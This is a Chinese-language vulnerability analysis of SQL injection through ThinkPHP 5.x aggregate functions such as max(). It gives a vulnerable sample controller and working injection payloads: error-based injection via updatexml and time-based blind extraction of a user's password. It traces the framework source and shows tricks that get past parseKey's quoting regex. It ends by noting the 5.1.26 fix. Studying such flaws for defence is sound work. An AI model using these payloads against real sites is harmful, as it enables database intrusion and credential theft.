thinkphp5.X 聚合函数注入
漏洞测试代码:
public function index() { $column=input('column'); $data=db('users')->max($column); dump($data); }
复现:
payload:
?column=id),updatexml(1,concat(0x7e,version()),1),(username
1、max函数分析
1 public function max($field, $force = true) 2 { 3 return $this->value('MAX(' . $field . ') AS tp_max', 0, $force); 4 }
首先max函数会对我们传入的参数$field进行一个拼接,将我们的payload中的括号进行闭合
2、value函数分析
1 public function value($field, $default = null, $force = false) 2 { 3 $result = false; 4 if (empty($this->options['fetch_sql']) && !empty($this->options['cache'])) { 5 // 判断查询缓存 6 $cache = $this->options['cache']; 7 if (empty($this->options['table'])) { 8 $this->options['table'] = $this->getTable(); 9 } 10 $key = is_string($cache['key']) ? $cache['key'] : md5($field . serialize($this->options) . serialize($this->bind)); 11 $result = Cache::get($key); 12 } 13 if (false === $result) { 14 if (isset($this->options['field'])) { 15 unset($this->options['field']); 16 } 17 $pdo = $this->field($field)->limit(1)->getPdo(); 18 if (is_string($pdo)) { 19 // 返回SQL语句 20 return $pdo; 21 } 22 $result = $pdo->fetchColumn(); 23 if ($force) { 24 $result += 0; 25 } 26 27 if (isset($cache)) { 28 // 缓存数据 29 $this->cacheData($key, $result, $cache); 30 } 31 } else { 32 // 清空查询条件 33 $this->options = []; 34 } 35 return false !== $result ? $result : $default; 36 }
这里第17行返回了sql语句,所以我们需要跟进查看
3、field函数分析
1 public function field($field, $except = false, $tableName = '', $prefix = '', $alias = '') 2 { 3 if (empty($field)) { 4 return $this; 5 } 6 if (is_string($field)) { 7 $field = array_map('trim', explode(',', $field)); 8 } 9 if (true === $field) { 10 // 获取全部字段 11 $fields = $this->getTableInfo($tableName ?: (isset($this->options['table']) ? $this->options['table'] : ''), 'fields'); 12 $field = $fields ?: ['*']; 13 } elseif ($except) { 14 // 字段排除 15 $fields = $this->getTableInfo($tableName ?: (isset($this->options['table']) ? $this->options['table'] : ''), 'fields'); 16 $field = $fields ? array_diff($fields, $field) : $field; 17 } 18 if ($tableName) { 19 // 添加统一的前缀 20 $prefix = $prefix ?: $tableName; 21 foreach ($field as $key => $val) { 22 if (is_numeric($key)) { 23 $val = $prefix . '.' . $val . ($alias ? ' AS ' . $alias . $val : ''); 24 } 25 $field[$key] = $val; 26 } 27 } 28 29 if (isset($this->options['field'])) { 30 $field = array_merge($this->options['field'], $field); 31 } 32 $this->options['field'] = array_unique($field); 33 return $this; 34 }
第7行将传入的$field以逗号分开合并成数组
4、parseField函数分析
1 protected function parseField($fields, $options = []) 2 { 3 if ('*' == $fields || empty($fields)) { 4 $fieldsStr = '*'; 5 } elseif (is_array($fields)) { 6 // 支持 'field1'=>'field2' 这样的字段别名定义 7 $array = []; 8 foreach ($fields as $key => $field) { 9 if (!is_numeric($key)) { 10 $array[] = $this->parseKey($key, $options) . ' AS ' . $this->parseKey($field, $options); 11 } else { 12 $array[] = $this->parseKey($field, $options); 13 } 14 } 15 $fieldsStr = implode(',', $array); 16 } 17 return $fieldsStr; 18 }
将传入的$fields数组合并赋值给$fieldsStr然后替换sql模板中的%FIELD%,得到sql语句
5、parseKey函数分析
1 protected function parseKey($key, $options = []) 2 { 3 $key = trim($key); 4 if (strpos($key, '$.') && false === strpos($key, '(')) { 5 // JSON字段支持 6 list($field, $name) = explode('$.', $key); 7 $key = 'json_extract(' . $field . ', \'$.' . $name . '\')'; 8 } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { 9 list($table, $key) = explode('.', $key, 2); 10 if ('__TABLE__' == $table) { 11 $table = $this->query->getTable(); 12 } 13 if (isset($options['alias'][$table])) { 14 $table = $options['alias'][$table]; 15 } 16 } 17 if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { 18 $key = '`' . $key . '`'; 19 } 20 if (isset($table)) { 21 if (strpos($table, '.')) { 22 $table = str_replace('.', '`.`', $table); 23 } 24 $key = '`' . $table . '`.' . $key; 25 } 26 return $key; 27 }
第17行正则匹配如果没有其中的这些特殊字符就会执行失败,在一些sql语句例如subst((**),1,1)中,中间的1就会加上``从而导致执行失败
id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username
这个时候就可以在旁边加上()或者是*1就可以绕过正则匹配。
?column=id),(if(ascii(substr((select password from users where id=1),(1),1))>130,(0),sleep(3))),(username ?column=id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*1,sleep(3))),(username
5.1.26更新:
更新parseKey方法,匹配的字符串不包括字母、数字、*、.就会抛出异常